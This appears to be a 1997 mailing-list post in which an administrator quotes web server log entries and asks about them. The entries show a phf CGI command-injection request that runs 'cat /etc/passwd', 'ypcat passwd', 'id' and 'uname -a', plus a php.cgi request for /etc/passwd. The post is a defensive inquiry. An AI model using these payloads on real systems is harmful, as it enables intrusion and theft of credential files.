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Subject: getting passwd file via WWW
From: Stan Wnuck <swnuck @ unixpros . com>
Date: Wed, 4 Jun 97 12:04:34 EDT
To: Firewalls @ GreatCircle . COM
Mailer: Elm [revision: 70.85]

Hi all,

I have noticed on my WWW log files the following 2 entries.
 
some.remote.location.edu - - [28/Apr/1997:01:33:21 +0015] "GET /cgi-bin/phf?Jserver=ns.uiuc.edu%0Acat%20/etc/passwd%0Aypcat%20passwd%0Apwd%0Aid%0Auname%20-a%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 140
some.remote.location.edu - - [28/Apr/1997:01:33:23 -74587788] "GET /cgi-bin/php.cgi?/etc/passwd" 404 143


Does anyone know anything about these cgi scripts or programs?
Or how dangerous this is?


I changed the real source location to a fake some.remote.location.edu to
not let out the bag of the source of this hack, since I am not sure what
my next move would be.


Thanks in advance.



Stan Wnuck               swnuck @
 unixpros .
 com
Unixpros, Inc.
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Eatontown, NJ 07724      (908) 389-5461 Fax

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